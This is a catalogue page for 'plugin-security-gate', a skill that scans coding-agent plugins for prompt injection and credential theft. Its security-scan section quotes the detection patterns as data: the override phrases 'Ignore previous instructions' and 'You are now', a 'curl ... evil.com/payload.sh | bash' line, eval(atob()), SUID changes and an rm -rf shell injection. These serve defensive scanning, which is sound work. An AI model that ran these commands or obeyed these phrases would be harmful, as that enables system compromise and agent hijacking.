plugin-security-gate

plugin-security-gate is a skill for Claude Code, Codex from yves-s/just-ship. It costs 52 tokens per session (2,395 once invoked), scanned E, original, no licence file.

A security check for third-party coding-agent plugins before they are installed.

In plain words
What is it for?
Use it during plugin setup or run it manually to audit skills before installation.
Why use it?
It looks for prompt injection, attempts to steal credentials, data leaks, and supply-chain risks before the plugin is trusted.

Skill for Claude CodeCodex

Part of the just-ship plugin — 26 skills, 19 commands, 10 agents, 6 hooks shipped together

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

agentmods
npx agentmods add skills/yves-s/just-ship/plugin-security-gate
Any agent
npx skills add yves-s/just-ship --skill plugin-security-gate
Clone the repo
git clone --depth 1 https://github.com/yves-s/just-ship

Made for: Claude Code, Codex.

Or install just-ship, the plugin that ships this one along with the rest of its 26 skills, 19 commands, 10 agents, 6 hooks.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for plugin-security-gate

README.md
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Your own site
<a href="https://agentmods.dev/skills/yves-s/just-ship/plugin-security-gate"><img src="https://agentmods.dev/badge/skills/yves-s/just-ship/plugin-security-gate.svg" alt="Measured on agentmods" height="20"></a>
Per session 52 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 2,395 The whole file, excluding the scripts and references it only reads on demand.
Security scan E 9 findings. Scan, not verified.
Origin unknown No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5 $0.00052 $0.02395
Opus 5 $0.00026 $0.01197
Sonnet 5 $0.00010 $0.00479
Haiku 4.5 $0.00005 $0.00239

Measured 4d ago against content hash 501510e30cba, method: parsed. Prices are Anthropic first-party input rates as of 2026-08-30, from the pricing page.

Security

Grade E, and why

plugin-security-gate scanned grade E with 9 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 4d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Instruction-override phrasingmediumPrompt injection

Text telling the model to disregard its earlier instructions or safety rules is the shape of a prompt injection, whoever wrote it.

| System prompt override | Agent hijacking | "Ignore previous instructions", "You are now", "Forget your rules" |

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Asks for rootlowPrivilege escalation

A mod that escalates privileges can change anything on the machine, not only the project.

| SUID/SGID changes | Privilege escalation | `chmod +s`, `chmod 4755` |

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Reaches for credential filesmediumPrivilege escalation

SSH keys, cloud credentials, git-credentials, .npmrc, /etc/shadow: reading these is how a config file becomes a credential leak.

| SSH key operations | Backdoor access | Writing to `~/.ssh/authorized_keys` |

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Downloads and executes remote codemediumSupply chain

curl | sh runs whatever the server returns today, which is not necessarily what it returned when this was reviewed.

| `curl | bash`, `wget | sh` | Remote code execution | `curl -s https://evil.com/payload.sh | bash` |

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Encoded or obfuscated payloadmediumSupply chain

base64 or hex that is decoded and executed hides what actually runs from anyone reading the file.

| `eval()`, `exec()`, `Function()` | Arbitrary code execution | `eval(atob("..."))` |

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Unrestricted tool accesslowExcessive agency

A wildcard tool grant or "run any command" leaves no least-privilege boundary at all.

| Excessive tool requests | Privilege escalation | `allowed-tools: *` or requesting Bash + Write + Edit without clear need |

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Recursive force deletemediumDestructive command

rm -rf with a variable or a broad path is one typo away from removing the wrong tree.

| `os.system()`, `subprocess.call()` with shell=True | Shell injection | `os.system(f"rm -rf {user_input}")` |

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

| `curl | bash`, `wget | sh` | Remote code execution | `curl -s https://evil.com/payload.sh | bash` |

Runs shell commandslowCapability

Expected in a hook, worth knowing in a rule or an instructions file.

| `os.system()`, `subprocess.call()` with shell=True | Shell injection | `os.system(f"rm -rf {user_input}")` |
skills/plugin-security-gate/SKILL.md · 210 lines

The source is not reproduced here

No licence file

A repository with no LICENSE is all rights reserved by default, so the body is not copied here. The metadata, the measurements and the link are.

Read it on GitHub

Files

What ships with it

1 file beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 4d ago First seen · 210 lines · 52 tokens per session scan E 501510e30cba

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plugin-security-gate is a skill published in the GitHub repository yves-s/just-ship (24 stars, last pushed 4mo ago), with no licence file. It adds 52 tokens to every session and 2,395 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it E with 9 findings (instruction-override phrasing, asks for root, reaches for credential files). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.

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